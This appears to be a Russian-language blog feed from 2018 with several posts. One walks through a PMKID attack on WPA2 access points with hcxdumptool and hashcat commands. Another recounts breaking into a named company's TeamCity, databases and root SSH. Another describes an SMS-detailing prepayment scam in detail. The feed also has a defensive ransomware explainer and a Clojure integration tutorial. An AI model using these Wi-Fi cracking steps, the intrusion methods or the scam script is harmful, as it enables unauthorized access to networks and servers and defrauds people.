Новая техника атаки WPA2, не требующая наличия клиента на AP

В настоящее время не известно, для какого количества маршрутизаторов этот метод будет работать, — вероятнее всего, для всех существующих сетей 802.11i /p/q/r с включенными функциями роуминга, а это большинство современных маршрутизаторов.


Основные особенности новой атаки:


  • нет необходимости ждать клиентов — атакуется напрямую AP;
  • нет необходимости ждать полного 4-стороннего «рукопожатия» между клиентом и AP;
  • отсутствие ретрансмиссии кадров EAPOL;
  • исключает вероятность захвата неверных паролей от клиента;
  • исключены потери кадров EAPOL при отдалении/потери связи с клиентом;
  • высокая скорость, обусловленная отсутствием необходимости фиксировать значения nonce и replaycounter;
  • нет необходимости в специализированном формате выходных данных (pcap, hccapx и т. д.) — захваченные данные хранятся в виде hex-строки.


Детали атаки


RSN IE — это необязательное поле, которое можно найти в рамках управления 802.11. Одной из возможностей RSN является PMKID.



PMKID вычисляется с использованием HMAC-SHA1, где ключ является PMK, а часть данных представляет собой конкатенацию фиксированной строковой метки «PMK Name», MAC-адрес точки доступа и MAC-адрес станции.


PMKID = HMAC-SHA1-128(PMK, "PMK Name" | MAC_AP | MAC_STA)



Поскольку PMK такой же, как в обычном четырехстороннем рукопожатии EAPOL, это идеальный вектор атаки. Мы получаем все необходимые данные в первом кадре EAPOL из AP.


Для атаки потребуются следующие инструменты (актуальные версии):



Запускаем hcxdumptool для "снятия" PMKID:


$ ./hcxdumptool -o test.pcapng -i wlp39s0f3u4u5 --enable_status



start capturing (stop with ctrl+c)
INTERFACE:...............: wlp39s0f3u4u5
FILTERLIST...............: 0 entries
MAC CLIENT...............: 89acf0e761f4 (client)
MAC ACCESS POINT.........: 4604ba734d4e (start NIC)
EAPOL TIMEOUT............: 20000
DEAUTHENTICATIONINTERVALL: 10 beacons
GIVE UP DEAUTHENTICATIONS: 20 tries
REPLAYCOUNTER............: 62083
ANONCE...................: 9ddca61888470946305b27d413a28cf474f19ff64c71667e5c1aee144cd70a69



Об успешном завершении атаки (средняя продолжительность 10 минут) уведомит надпись FOUND PMKID:


[13:29:57 - 011] 89acf0e761f4 -> 4604ba734d4e <ESSID> [ASSOCIATIONREQUEST, SEQUENCE 4]
[13:29:57 - 011] 4604ba734d4e -> 89acf0e761f4 [ASSOCIATIONRESPONSE, SEQUENCE 1206]
[13:29:57 - 011] 4604ba734d4e -> 89acf0e761f4 [FOUND PMKID]



После чего необходимо сконвертировать полученные данные:


$ ./hcxpcaptool -z test.16800 test.pcapng



start reading from test.pcapng

summary:
--------
file name....................: test.pcapng
file type....................: pcapng 1.0
file hardware information....: x86_64
file os information..........: Linux 4.17.11-arch1
file application information.: hcxdumptool 4.2.0
network type.................: DLT_IEEE802_11_RADIO (127)
endianess....................: little endian
read errors..................: flawless
packets inside...............: 66
skipped packets..............: 0
packets with FCS.............: 0
beacons (with ESSID inside)..: 17
probe requests...............: 1
probe responses..............: 11
association requests.........: 5
association responses........: 5
authentications (OPEN SYSTEM): 13
authentications (BROADCOM)...: 1
EAPOL packets................: 14
EAPOL PMKIDs.................: 1

1 PMKID(s) written to test.16800



которые после конвертации примут следующий вид:


2582a8281bf9d4308d6f5731d0e61c61*4604ba734d4e*89acf0e761f4*ed487162465a774bfba60eb603a39f3a



представляющие из себя hex-значения следующих типов данных:


PMKID*MAC AP*MAC Station*ESSID



Далее остается "скормить" полученные результаты утилите hashcat (да, без брута пока никуда) и ждать результат:


$ ./hashcat -m 16800 test.16800 -a 3 -w 3 '?l?l?l?l?l?lt!'



Данная техника значительно упрощает и ускоряет атаку на большинство беспроводных устройств благодаря меньшему количеству факторов влияния.


P.S.: эта уязвимость в большей степени затрагивает домашние/SOHO-устройства, в корпоративном сегменте, как правило, используется более надежный MGT WPA2 Enterprise с RADIUS-ключами.

September 2, 2018
by D4ffy Duck
0
55

🔑Root доступ через TeamCity

GitHub оказался под крупнейшей DDoS атакой, немного обсудили в общем рабочем чате вечерком. Оказалось, что мало кто знает о замечательных поисковиках shodan.io и censys.io.

Ну и я интересу ради, прям для вау эффекта поискал TeamCity (далее тс), т.к. помню прикольный баг с регой в старых версиях (был исправлен в версии 9.0.2 от января 2015 года).

Как оказалось, его даже не нужно было применять, т.к. во многих тс админы не закрывали регистрацию, а на некоторых доступен был вход под гостем.

Взял самый первый попавшийся IP и двинул на их тс.

Ура, есть рега обыкновенная, и как правило, у неё прав больше, чем у гостя, см. сравнение ниже

В параметрах явно были прописаны некоторые доступы

Но логины пароли также и в другом месте есть — в конфигах артефактов:

Судя по названиям БД ничего интересного быть там не может, но всё же решил попробовать.

Легковесный и быстрый клиент для монги под винду — robomongo.org

Сильно шариться по БД не стал, т.к. слово analytics навевает скуку.

В TFS сходить не удалось, определённо логин не вебовский, курить апи тоже скучно, ибо не самый интересный проект, но для демонстрации достаточно).

Почта разрабов добыта там же — отписался, ответа нет.

Если артефакты не были доступны — всегда можно посмотреть change log:


Удивляют проекты, где пароли — простые слова, тут хоть префикс есть.

Помню однажды попался пасс — осмотрись, прям забавно.

Также, определённая категория людей, предпочитает хранить прямо в коде всякие настройки:

Перехожу к самому интересному — есть проект triplay.com

Их продукты: emusic.com, estories.com, mydigipack.com, mymusiccloud.com и ещё какие-то. Установок приложения андроид 1000000+, эпловое — не понял где там количество скачиваний смотреть.

Ну и конечно же — их тимсити был открыт снаружи, + открыта рега:

120 сборок, но артефакты были далеко не везде, вероятно для экономии места. Зато имеется Common проект, где все артифакты собираются вместе, но серверные вполне себе велись и этого было достаточно:

Отлично, качаем файл и… я прям не удивлён:

Пришлось поставить яву и проверить коннект к ораклу (оракл для простого сайтика в проде, ааа, блин, ну почему не postgres):

Конечно же, несмотря на то, что в конфигах был указан везде префикс prod — без явной проверки этого нельзя было сказать наверняка):

Ну и конечно, я сам зарегал почту, с которой им отписал о проблеме (только я показал скрины, а не сценарий, т.к. не хотел, чтобы чел из саппорта получил доступ к бд, где 691к аккаунтов, выкачал всё это дома и… я хз, что мог бы сделать. Сценарий немного надуман, но лучше попросить контакт админа/разраба).

В теории, полный доступ к бд и можно смело заменять чей-нибудь хеш/соль пасса своими и входить под ним.

Но я лишь почитал данные и успокоился на этом, отписавшись в офф. сапорт, на что мне ответили, что всё рассмотрят, переведут на специалиста, который ответит в порядке очереди и… молчание

Спустя несколько дней они закрыли доступ к БД, но не к тс, проверил почту — ни вопросов, ни благодарностей.

Ну ок, полез проверять дальше и… в артефактах нашёл проект, который содержит деплой скрипты, словно он в тс попадает откуда-то из вне и после сам запускает билд.

Так и было, + ещё логин/пасс от тс.

Сложно было поверить в это, ну ок, телнет 22 пашет, пробую ссш, но погоди, какой же логин…

wu la
ssh -p 22 -i triplay-deployer-priv root@build.triplay-inc.com

Немного удивился наличию доступа, ок. Осмотрелся в консоли, посмотрел хосты (35 машин прописано) и какие-то ключики (я с никсами не оч, доступ рут и без того ясно, что даст сделать всё, что хочешь, было бы желание).

Нашёл тестовый доменчик + конкретную машину (и… кажется ssl серт).

Выше скрин, кстати, когда я с одного сервера хожу на другой, ибо тот из вне по ssh не был доступен. И таких машин там было, конечно же, дофига, сами представьте, какая там инфраструктура.

И положил файлик с особым приветом (с ошибками, уж сорри, уже спать хотелось).

После очередного письма они прикрыли лавочку.

Но не тут то было, у ребят оставался тестовый аккаунт. Я вошёл под ним. Оказалось можно получить трек бесплатно… ну я на всякий F12 и… что я вижу в пейлоаде:

{
 "trackId": 1559229346,
 "quality": "SD",
 "dailyDownloadPurchase": false,
 "freeTrackPurchase": true
}

Нет, это не первоапрельская шутка — получить трек бесплатно или купить — решается на фронтенде флагом freeTrackPurchase:

А вот теперь нюанс — работает, видимо, не для всех аккаунтов, а для конкретно тестового)), но имея доступ к нему, можно «купить» все треки. Да и один фиг, они все доступны без авторизации (есть спец урла, инфо из БД, проверено).


Какие ошибки парни совершили:

  1. Весьма внутренние ресурсы были открыты всему свету (БД, TeamCity, SSH)
  2. Даже если есть такая необходимость — не сделали вайтлиста для подключений
  3. Коннект под рутом извне… чет так себе идея
  4. Тем более, в проект добавлять сертификат для этого от рута!
  5. Все доступы и ключики хранят в… файлах и размножают по проектам (aws, paypal, и т.п., шаблон положил сюда), вместо того, чтобы хранить одно подключение к сервису конфигураций
  6. А самое главное — была разрешена рега в TeamCity, собственно с чего всё началось
  7. Ну и до кучи — там же собирались приложения для google/apple сторов и соответствующие серты и исходники были на месте


Потому — если у вас имеются какие-либо продукты, которые доступны из вне — подумайте, как их можно использовать не по назначению сторонними людьми и предотвратите это.

September 2, 2018
by D4ffy Duck
0
18

Как работают вирусы шифровальщики и как от них защититься

Как происходит заражение

Главная цель злоумышленников заставить пользователя любым способом скачать файл с вирусом и запустить его.  В этом вымогатели могут проявлять всю свою фантазию.

Зачастую они устраивают массовую рассылку писем в организации. В теме сообщения указывается «резюме», «исковое требование», «договор поставки», «акт сверки-взаиморасчётов», т. е. самые обычные письма, которые ежедневно проходят десятками в любой организации. Стоит ли говорить, что, например, сотрудник отдела кадров, зачастую не самый продвинутый пользователь, с большой вероятностью скачает прикрепленный файлик «резюме» и откроет его.

Другой способ распространения вируса — это запуск скачанной с интернета программы. Только вместо установки программы пользователь получает зашифрованные файлы. Забавно, вроде бы все на месте, но в таком виде они абсолютно бесполезны.

Более чем в 90% случаев пользователи запускают шифровальщики своими руками.
Более половины всех случаев шифрования приходится на вирус Trojan.Encoder и сотни вариантов его модификаций.

Как происходит шифрование

Принцип работы шифровальщиков очень прост, вирус, запущенный на компьютере жертвы шифрует файлы и удаляет теневые копии файлов, таким образом делая невозможным восстановление предыдущих версий файлов. Шифруются все файлы со стандартными расширениями .jpg, .png, .doc, .xls, .dbf и т.д. Другими словами, шифруются картинки, документы, таблицы, файлы баз данных и другие стандартные файлы, которые как раз и представляют весь интерес для пользователя.

После шифрования на рабочем столе или в каждой папке с зашифрованными файлами создается текстовый файл (например, READ_ME!!!!!!.TXT) с предупреждением пользователя о том, что файлы были зашифрованы, а все попытки самостоятельно расшифровать файлы могут привести к безвозвратной потере данных, ну и, разумеется, контакты вымогателей и сумма которую необходимо заплатить для расшифровки.

Современные экземпляры вирусов используют криптостойкие алгоритмы шифрования. Содержимое файлов шифруется с очень высокой скоростью, а ключ шифруется асимметричным алгоритмом. Это означает, что на подбор ключа для расшифровки могут потребоваться годы вычислений компьютера.

Вот такую статистику расшифровки приводит компания «Доктор Веб» в 2016 году.

Троянец Альтернативные наименования Вероятность расшифровки BAT.Encoder Trojan.FileCrypt.C

BAT/Filecoder.B

Trojan-Ransom.BAT.Scatter.s 20-30% Trojan.Encoder.94 Trojan-Ransom.Win32.Xorist

Trojan:Win32/Bumat!rts

Win32/Filecoder.Q 90% Trojan.Encoder.293

90-100% Trojan.Encoder.398 Gen:Trojan.Heur.DP;

TR/Dldr.Delphi.Gen 58% Trojan.Encoder.556 Trojan-Ransom.Win32.Agent.iby,

Gen:Variant.Kates.2 3-5% Trojan.Encoder.741

21% Trojan.Encoder.567 Win32/Filecoder.CQ,

Gen:Trojan.Heur.OH3@tb9fsadcg 10-20% Trojan.Encoder.686 CTB-Locker Расшифровка на данный

момент невозможна Trojan.Encoder.858

Trojan.Encoder.2843(*.vault)

90% Trojan.Encoder.2667

59% Trojan.Encoder 3953

80% Linux.Encoder.1, Linux.Encoder.2, Linux.Encoder.3

100% Mac.Trojan.KeRanger.2

100% По статистике антивирусных компаний удается подобрать ключ лишь в 10% случаев.

Все это приводит к тому, что в большинстве случаев зашифрованные данные будут безвозвратно потеряны. Конечно, всегда можно попробовать заплатить злоумышленникам, но нет никаких гарантий.

Встречаются случаи когда восстановить файлы просто невозможно, даже если вы заплатите некоторую сумму вымогателям. Это происходит в том случае, если вирус шифровальщик просто выбрасывает ключ шифрования, а не передает его для хранения на сервер. К слову, вымогатели от этого совсем не расстраиваются, они то исправно получают свои деньги.

Что делать если вирус зашифровал файлы?

Не пытайтесь переименовывать файлы и расширения. Это может привести к невозможности его расшифровать в дальнейшем. Если хочется поэкспериментировать то можно сделать копию зашифрованного файла и работать с ней.

Попытаться восстановить файлы из теневых копий. Если совсем кратко, то это восстановление предыдущих версий файлов и папок. Для этого в вашей системе должна быть включена функция защиты системы и созданы точки восстановления. Об этом можно написать отдельную статью, и если вам это интересно напишите в комментариях.

Обратиться к антивирусным компаниям. Ведущие антивирусные компании предоставляют программы дешифраторы. Например, можно попробовать XoristDecryptor и RectorDecryptor от Лаборатории Касперского.

Утилиты постоянно обновляются, включая все больше алгоритмов для расшифровки. Вообще, вероятность получить исходный файл, достаточно низкая, но попробовать нужно.

Кроме того, можно попробовать связаться с поддержкой антивирусной компании, сообщить им о шифровальщике и выслать им образец зашифрованного файла. Можно точно обратиться в Лабораторию Касперского и компанию Dr.Web, при условии что у вас есть лицензия их продукта. Специалисты попробуют расшифровать файл, и в случае успеха вышлют вам утилиту для расшифровки остальных файлов. Все это может занять очень длительное время, но вариантов то не так много.

Как защититься от шифровальщиков

  • Сохраняйте резервные копии ваших данных на внешний накопитель.
  • Используйте антивирусные средства и не забывайте обновлять антивирусные базы. Как бы просто это не звучало, но это действительно может избавить вас от лишних проблем.
  • Ограничьте запуск некоторых потенциально опасных типов файлов. К примеру, с расширениями .js, .cmd, .bat, .vba, .ps1. Для этого нужно выполнить команду — gpedit.msc, далее перейти в раздел Конфигурация компьютераКонфигурация WindowsПараметры безопасностиПолитики управления приложениямиAppLockerПравила сценариев, и с помощью мастера задать новое правило на запрет запуска всех сценариев для всех пользователей, например, на системном диске. Даже это простое действие может не раз спасти вас от неприятностей.
  •  Будьте внимательны! Расскажите о вирусах шифровальщиках своим знакомым, чтобы они также не попадались на уловки мошенников. Все мы знаем, что предупрежден, значит вооружен!

В итоге, мы имеем серьезную угрозу для любого пользователя и довольно печальную статистику по расшифровке. Вирусы шифровальщики — это энигма нашего времени. Посмотрим, найдет ли кто-нибудь способ оставить мошенников без заработка.

Если информация была интересной и полезной — поделитесь этой статьей со своими друзьями в социальных сетях!

September 2, 2018
by D4ffy Duck
0
17

Полезная функциональщина. Грабим почту, трекеры задач и репозитории с Clojure

Я — тимлид в одной из команд разработки Positive Technologies Application Firewall. В один прекрасный момент размер команды превысил критическое значение, когда можно делать руками всю свою рутинную работу, и я начал писать автоматизированную систему, которая умела бы взаимодействовать с почтой, трекерами задач и системами контроля версий. Я назвал ее «автоматический тимлид».

Распределение задач — одна из рутинных процедур, которую легко автоматизировать, если в команде существует матрица компетенций: назначить исполнителя в зависимости от заголовка задачи или ее компонента можно, если уметь программно читать задачу с таск-трекера и обновлять некоторые поля в ней. Аналогичная история с автоматическим назначением по набору критериев ответственного проверяющего в пулл-реквест в системе контроля версий для рецензирования исходного кода.

В итоге, конечно, автоматический тимлид был разделен на бизнес-логику и общую библиотеку интеграций (я назвал ее Flower). О последней давай и поговорим.

Зачем оно вообще всем

Зачем мне понадобилось такое программное обеспечение, в целом понятно, но зачем же оно тебе?

Допустим, по счастливому стечению обстоятельств, у тебя есть учетные данные некоего пользователя Jira. Очень хочется на память сохранить пару тысяч задач этого пользователя (а заодно и всю его почту), чтобы развлекаться серыми осенними вечерами, почитывая занимательные комментарии. Почему бы не сделать это, написав три строчки кода?

Или ты менеджер проекта по разработке программных продуктов и решил устроить своим программистам полный KPI, замеряя производительность людей в условных пулл-реквестах на задачу. Собирать статистику с двух и более разных систем одновременно тоже можно без технических проблем.

Как вариант, ты желаешь перенести все задачи из GitLab и Jira на GitHub (потому что твой проект резко стал опенсорсным), а заодно настроить автоматическую пересылку сообщений из почты в Slack. И даже это делается не очень сложно!

Почему Clojure

Первый вопрос, который можно было бы мне задать, звучит примерно так: почему ты не выбрал Python, ведь ты с ним знаком десяток лет и он имеет все необходимые библиотеки интеграций? Не имеет. Имеет, конечно, но не все работает так гладко, как SDK на Java, созданный разработчиками систем, с которыми мы интегрируемся. А в некоторых случаях еще и не хватает многопоточности. Тут нужно заметить, что для первоначального прототипа я, конечно же, и выбрал Python, а точнее HyLang (Lisp на его стеке), но в итоге решил внимательнее присмотреться к JVM.

И второй очевидный вопрос — почему вообще Lisp? Потому что, насколько мне известно, лучший способ создать свой DSL, не изобретая новый синтаксис, — взять Lisp, проверенный временем язык с префиксной нотацией и веселыми скобочками (на самом деле это называется S-выражения), и, используя макросы, обогатить его до домена использования.

Совокупность этих двух факторов и побудила меня выбрать Clojure как язык программирования и платформу для интеграций с различными системами.

Show me the code

Чтобы начать писать на Clojure свой скрипт или даже целую систему, использующую Flower, необходимо для начала установить Leiningen (для Windows в некоторых случаях это может оказаться немного нетривиальной задачей, поэтому рекомендую взять любую *nix-систему). Если ты вдруг не знаешь Clojure, то рекомендую книгу Clojure for the Brave and True — идеальное пособие для освоения языка за пару вечеров.

Чтобы начать новый проект на базе Flower, можно воспользоваться шаблоном, набрав в терминале


lein new flower my-new-flower-app


При этом в файл project.clj в созданной директории проекта будет добавлена зависимость [flower "0.4.3"] — это метапакет, содержащий почти все необходимое. Для тестового приложения он нам вполне подойдет.

Давай теперь напишем наше приложение. В качестве подопытной системы контроля версий и трекера задач воспользуемся GitHub.

Для аутентификации нам понадобится добавить токен пользователя GitHub, чтобы иметь возможность делать изменения и не быть ограниченными рейтом запросов. Добавь сгенерированный для своей учетной записи токен вместо звездочек в файл .credentials.edn в домашней директории пользователя (~/.credentials.edn) в следующем формате:

<span class="pun">{:</span><span class="pln">token </span><span class="pun">{:</span><span class="pln">github </span><span class="str">"****************************************"</span><span class="pun">}}</span>


Теперь можно начать ставить эксперименты. Для этого в директории проекта запустим REPL из командной строки:


lein repl


Трекеры задач

Подключим необходимые модули и определим наш трекер задач:


 (require '[flower.macros]
        '[flower.tracker.core])
 
(flower.macros/with-default-credentials ;; Можно без этого макроса, если трекер задач приемлет запросы без авторизации
  (def pt-github-tracker (flower.tracker.core/get-tracker "https://github.com/PositiveTechnologies/flower")))

Давай посмотрим, что теперь содержится в определении pt-github-tracker. Для наглядности я сделал pretty-вывод и убрал не очень важные сейчас поля.


 my-new-flower-app.core=> pt-github-tracker
#flower.tracker.github.tracker.GithubTracker{
  :tracker-component #flower.tracker.core.TrackerComponent{
                      :auth {:github-token "****************************************"}
                      :context {}}
  :tracker-name :github-github.com-flower
  :tracker-url "https://github.com/PositiveTechnologies"
  :tracker-project "flower"}


Функция get-tracker подставила авторизационные данные и развернула строковый адрес трекера задач в запись с общим протоколом flower.tracker.proto.TrackerProto. Если тип трекера не определился верно, то тип записи будет flower.tracker.default.tracker.DefaultTracker. Это поведение можно изменить, эксплицитно указав тип трекера с помощью макроса flower.tracker.core/with-tracker-type.

Получить все задачи из трекера можно следующей командой:


 (def tasks (.get-tasks pt-github-tracker))

Самостоятельно можешь взглянуть, из каких полей состоит, например, первая задача в трекере после выборки, с помощью команды (first tasks), а затем давай сделаем полную выборку в формате JSON. Зависимость clojure.data.json приехала к нам вместе с метапакетом flower, поэтому весь оставшийся код будет выглядеть так:


 (require '[clojure.data.json])
 
;; Функция сериализации, которую мы используем для удаления
;; полей :tracker и разыменования дополнительных невыполненных
;; полей (например, комментарии)
(defn serialize-task [task]
  (reduce-kv (fn [self k v]
              (if (= k :tracker)
                self
                (assoc self
                        k (if (delay? v) @v v))))
            {}
            task))

 

;; Печатаем результирующий JSON

(clojure.data.json/pprint {:tasks (map serialize-task
                                      tasks)})
  

Из интересных вещей, которые содержит в себе библиотека Flower при работе с трекерами задач, можно выделить еще изменение полей задачи. Делает��я это двумя строчками кода (и требует прав на запись):

;; Получаем первую задачу из выборки

(def first-task (first tasks))
 
;; Обновляем поля заголовка и тегов
(.upsert! (assoc first-task
                :task-title "New title"
                :task-tags ["sometag"]))


На этом месте, конечно, вывалится ошибка о невозможности что-либо записать в репозиторий, если не хватает на это прав: RequestException Must have admin rights to Repository. (403). Но если вдруг хватает, то для первой задачи из выборки будут фактически обновлены заголовок и теги, а результатом вернется обновленная запись.

Системы контроля версий

С системами контроля версий абсолютно аналогичная история:


 (require '[flower.macros]
        '[flower.repository.core])
 
(flower.macros/with-default-credentials
  (def pt-github-repo (flower.repository.core/get-repository "https://github.com/PositiveTechnologies/flower")))

Знакомо, не правда ли? Во время разработки библиотеки я старался сделать так, чтобы определения для разных типов систем были похожи между собой и чтобы из названий функций было понятно их назначение.

Посмотреть, какие функции поддерживаются протоколами различных систем, можно здесь (однако идея записей в том, что обращаться к их полям можно и напрямую, минуя вызовы этих функций в протоколах; так что, если для какого-то поля не определена функция выборки, его можно выбрать из записи через функцию get).

Полистаем теперь пулл-реквесты из репозитория:


(def prs (.get-pull-requests pt-github-repo))

 

;; Получаем первый пулл-реквест из выборки

(def first-pr (first prs))
  

Для выбранного пулл-реквеста выведем на печать все комментарии и счетчики (например, количество комментариев LGTM):


 (println (.get-comments first-pr))
(println (.get-counters first-pr))
  

Если вдруг у тебя есть права на запись в репозиторий, то можно смерджить пулл-реквест. Мерджить будем, только если один из комментариев содержит слово LGTM:


 (when (> (get (.get-counters first-pr)
              :count-lgtms)
        0)
  (.merge-pull-request! first-pr))
  

Системы обмена сообщениями

Пора программно почитать рабочую почту! Для этого нужно добавить в созданный раньше ~/.credentials.edn запись аккаунта Exchange. После добавления учетных данных файл может выглядеть, например, так (в примере поле :login содержит пользователя Exchange, :password — его пароль, :domain — домен Active Directory и :email — почтовый адрес пользователя):


 {:token {:github "****************************************"}
 :account {:login "jdoe"
          :password "************************"
          :domain "EXAMPLE"
          :email "jdoe@example.com"}}
  

Так как метапакет не включает в себя зависимости конкретных реализаций мессенджинговых систем, то каждую нужно указывать в project.clj эксплицитно. Для Exchange необходимо подключить пакет [flower/flower-integration-exchange "0.4.3"]. Итоговый файл проекта после этого будет выглядеть, например, так:


 (defproject my-new-flower-app "0.1.0-SNAPSHOT"
  :description "FIXME: write description"
  :url "http://example.com/FIXME"
  :dependencies [[org.clojure/clojure "1.9.0"]
                [flower "0.4.3"]
                [flower/flower-integration-exchange "0.4.3"]]
  :main ^:skip-aot my-new-flower.core
  :target-path "target/%s"
  :profiles {:uberjar {:aot :all}})
  

Перезапустим REPL, закрыв его и повторно из директории проекта выполнив команду lein repl. После этого можно приступить к подключению библиотек и определению почтового ящика:


 (require '[flower.macros]
        '[flower.messaging.core])
 
(flower.macros/with-default-credentials
  (flower.messaging.core/with-messaging-type :exchange
    (def msg-box (flower.messaging.core/get-messaging))))
  

Выберем первое сообщение из почтового ящика с загрузкой тела сообщения и отправим его же на другой почтовый ящик (фактически это не пересылка, а отправка нового сообщения с заменой получателя):


 (def first-msg (first (.search-messages msg-box
                                        {:count 1
                                        :load-body true})))
 
(.send-message! (assoc first-msg
                      :msg-recipients ["jstiles@example.com"]))
  

Но еще интереснее настроить автоматическую пересылку писем. Так как пакет clojure.core.async установлен как зависимость метапакета flower, то можно сразу же использовать его для асинхронной обработки входящих сообщений:

 (require '[clojure.core.async :as async])
 
;; Подпишемся на входящие сообщения
(def ch (.subscribe msg-box
                    {:load-body true}))
 
;; Создаем сопрограмму для вывода на печать
;; и автоматической пересылки сообщений
(async/go-loop []
  (when-let [msg (async/<! ch)]
    (println msg)
    (.send-message! (assoc msg
                          :msg-recipients ["jstiles@example.com"]))
    (recur)))
  

Теперь при запущенном приложении с подобным кодом все входящие сообщения будут отправляться на другой почтовый ящик сразу же, как только будут получены.

Заключительное слово

В статье я показал лишь небольшую часть примеров применения библиотеки интеграции. С этими знаниями уже можно писать небольшие сценарии ad hoc. А после погружения в Clojure можно писать и готовый программный продукт.

В моих планах — добавить в библиотеку поддержку большего числа сервисов. YouTrack, HipChat, Telegram и некоторые другие системы ждут своей очереди на добавление. Поскольку проект опенсорсный, я предлагаю тебе присоединиться любым доступным способом: даже простой фидбек в виде Issue на «Гитхабе» будет очень ценным для меня. А заведенный автоматизированно, с использованием самой библиотеки — вдвойне!

September 2, 2018
by D4ffy Duck
0
12

СМС бизнес

Привет, манимэйкер! Сегодня представляю тебе рассказ одного бывалого "теневого рабочего" о его всегда рабочей схеме заработка:

"Рассказываю способ который работает как часы, и будет работать всегда, начну с того что я учился на психолога, вообще у меня два высших образования, но мне всегда интересна психология людей, наверное это и дало мне идею по которой спокойно можно делать 3-4 тысячи в день.

Начну с того что я давненько сидел на одном форуме, схожим с фселом, занесло меня туда очень интересным случаем. У меня была подруга детства с которой я и сейчас поддерживаю хорошие отношения, подруга вышла замуж и однажды приходит от неё сообщение, что она подавлена и не знает что делать, ей кажется что муж ей изменяет а я должен был помочь найти человека который сделает детализацию его сообщений и она готова заплатить, тогда я и начал искать в сети кто предоставляет данные услуги.


Нашёл на одном из форумов, так я познакомился с теневой стороной паутины, так вот нашёл я человека, пробил за 1500 руб конечно деньги я с подруги не взял а просто сказал что у меня был знакомый в салоне и он помог мне разобраться, после я зашёл на страницу к подруге и тут меня осенило, на странице у ней были добавлены записи о том что нельзя доверять мужикам, о не взаимной любви, и прочая сопливая лирика которая говорила о том что есть проблемы, а я знал что проблема решилась тем что она узнала правду с помощью того что сделала детализацию. Теперь я понимаю что там где не все гладко можно заработать не плохие деньги. 


Я создал страницу Вконтакте, поставил на аватар специальную картинку которая говорила о том что "Доверяй но проверяй" в статусе написал что "Узнаю правду" и пошёл в группы про любовь,верность,отношения. Далее нашел запись где было много репостов это значит что человек добавил её на стенку что бы увидели о чем он думает, 


Вконтакте есть специальная кнопка которая даёт видеть кто сделал репост, так вот у меня вылез список наших жертв, я начал писать всем кто есть в списке следующий текст, по сей день он рабочий и не менялся 


"Здравствуйте *****, хочу предложить вам услугу по детализации sms-сообщений, вы уверены в тех кто вас окружают? Сейчас очень много информации даёт переписка вашего родного,близкого, или любимого человека. Возможно вы узнаете то о чем догадывались или найдёте причину которая вас тревожит.


Я работаю с такими операторами как МТС,Билайн,Мегафон от вас лишь номер телефона абонента, о том что делалась детализация абонент узнать никак не сможет, я просто пришлю вам её точно так же в сообщениях и после просмотра вы сможете удалить её или оставить на память, делаем быстро и качественно а главное совсем не дорого!". 


Отправлял я одно и тоже сообщение всем, просто сидел, нажимал копировать и вставить, большинство жертв просто молчали прочитав сообщение, тут неожиданно я был заблокирован, оказывается я спамил. маленько подумав я стал делать так как правильно и как работает намного эффективней, при отправке сообщения нужно каждый раз писать имя того кому отправляешь и тогда сообщения получаются разными, точнее так думает робот который блочит аккаунты, так вот создаю вторую страницу повторяю действия и теперь каждый раз пишу имя, и вот оно, минимальный диалог с жертвой привёл к первой прибыли, жертве надо было узнать какую то правду, конечно я так и думал ведь мы предлагаем именно то что нужно, людям которые этого ждут, многие отвечают что, вы правда это можете?) 


Да многие разговоры начинаются с этой фразы. но я называю их жертвами потому как принимая оплату я ничего не делал, просто кидал в чёрный список. так я работал каждый день, обрабатывая в день 40 человек из них 8 соглашались как родные, способ оплаты был простой, я принимал деньги через сбербанк онлайн на карту своего знакомого, проработав Вконтакте я понял что очень много лишнего мусора в виде того что большинство тому кому мы пишем нет даже 18 лет, тут возникла идея ОДНОКЛАССНИКОВ!) там и народ взрослый и мусора меньше, а интриг больше, заметил что больше всех обращаются жены за мужами) 

В общем я описал схему того как делать 3-4 к руб за день спокойно, просто сидя у компьютера.

P.S. Схему обозначил чёрной, для ленивых), просто развод на пред оплату.

Можно и по белому: Заказываешь доступ в ЛК, и сам делаешь детализацию (была такая услуга). И по честному получаешь деньги."

Вот такая вот схемка!

September 2, 2018
by D4ffy Duck
0
26
Show more